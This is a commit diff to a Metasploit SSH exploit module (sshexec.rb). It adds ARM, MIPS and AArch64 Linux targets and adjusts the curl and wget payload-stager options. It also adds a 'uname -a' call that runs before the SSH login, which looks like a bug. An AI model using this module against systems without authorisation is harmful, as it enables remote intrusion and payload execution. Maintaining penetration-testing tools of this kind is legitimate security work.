Skip to content

Commit e3dc17d

Browse files
committed
Add some extra targets
1 parent 3b2a0be commit e3dc17d

File tree

1 file changed

+31
-4
lines changed

1 file changed

+31
-4
lines changed

modules/exploits/multi/ssh/sshexec.rb

Lines changed: 31 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,7 @@ def initialize
4040
'DisableNops' => true
4141
},
4242
'Platform' => %w{ linux osx python },
43-
'CmdStagerFlavor' => %w{ bourne echo printf curl wget },
43+
'CmdStagerFlavor' => %w{ bourne echo printf wget },
4444
'Targets' =>
4545
[
4646
[ 'Linux x86',
@@ -55,11 +55,38 @@ def initialize
5555
'Platform' => 'linux'
5656
}
5757
],
58+
[ 'Linux armle',
59+
{
60+
'Arch' => ARCH_ARMLE,
61+
'Platform' => 'linux'
62+
}
63+
],
64+
[ 'Linux mipsle',
65+
{
66+
'Arch' => ARCH_MIPSLE,
67+
'Platform' => 'linux',
68+
'CmdStagerFlavor' => %w{curl wget}
69+
}
70+
],
71+
[ 'Linux mipsbe',
72+
{
73+
'Arch' => ARCH_MIPSBE,
74+
'Platform' => 'linux',
75+
'CmdStagerFlavor' => %w{ wget }
76+
}
77+
],
78+
[ 'Linux aarch64',
79+
{
80+
'Arch' => ARCH_AARCH64,
81+
'Platform' => 'linux'
82+
}
83+
],
5884
[ 'OSX x86',
5985
{
6086
'Arch' => ARCH_X86,
61-
'Platform' => 'osx'
62-
}
87+
'Platform' => 'osx',
88+
'CmdStagerFlavor' => %w{curl wget}
89+
}
6390
],
6491
[ 'OSX x64',
6592
{
@@ -139,8 +166,8 @@ def do_login(ip, user, pass, port)
139166
end
140167

141168
def exploit
169+
execute_command('uname -a')
142170
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
143-
144171
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
145172
if target['Platform'] == 'python'
146173
execute_command("python -c \"#{payload.encoded}\"")

0 commit comments

Comments
 (0)